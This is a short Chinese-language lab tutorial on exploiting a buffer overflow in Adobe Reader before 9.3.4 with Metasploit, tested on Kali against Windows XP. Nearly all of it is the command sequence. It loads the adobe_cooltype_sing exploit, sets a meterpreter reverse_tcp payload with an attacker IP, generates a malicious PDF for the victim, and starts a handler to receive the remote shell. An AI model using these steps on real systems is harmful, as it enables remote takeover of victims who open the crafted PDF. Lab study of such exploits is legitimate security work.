Metasploits之Adobe阅读器漏洞

实验环境：Kali 2.0+Windows XP+Adobe Reader 9.3.0

类别：缓冲区溢出

描述：这个漏洞针对Adobe阅读器9.3.4之前的版本，一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出。

---

msfconsole    启动Metasploits
search cooltype_sing    搜索Adobe阅读器漏洞(adobe_cooltype_sing)相关模块
use exploit/windows/fileformat/adobe_cooltype_sing    加载此模块

show options    查看所需的参数
show targets    查看受此漏洞影响的版本
show payloads    查看有效攻击载荷（就是攻击代码）

set payload windows/meterpreter/reverse_tcp    选定攻击载荷
show options 查看攻击载荷所需的参数
set LHOST 192.168.9.128    设置本机IP
exploit    生成pdf攻击文件

复制生成的PDF文件到XP系统
XP系统安装阅读器Adobe Reader 9.3.0

use exploit/multi/handler    加载监听模块
run    启动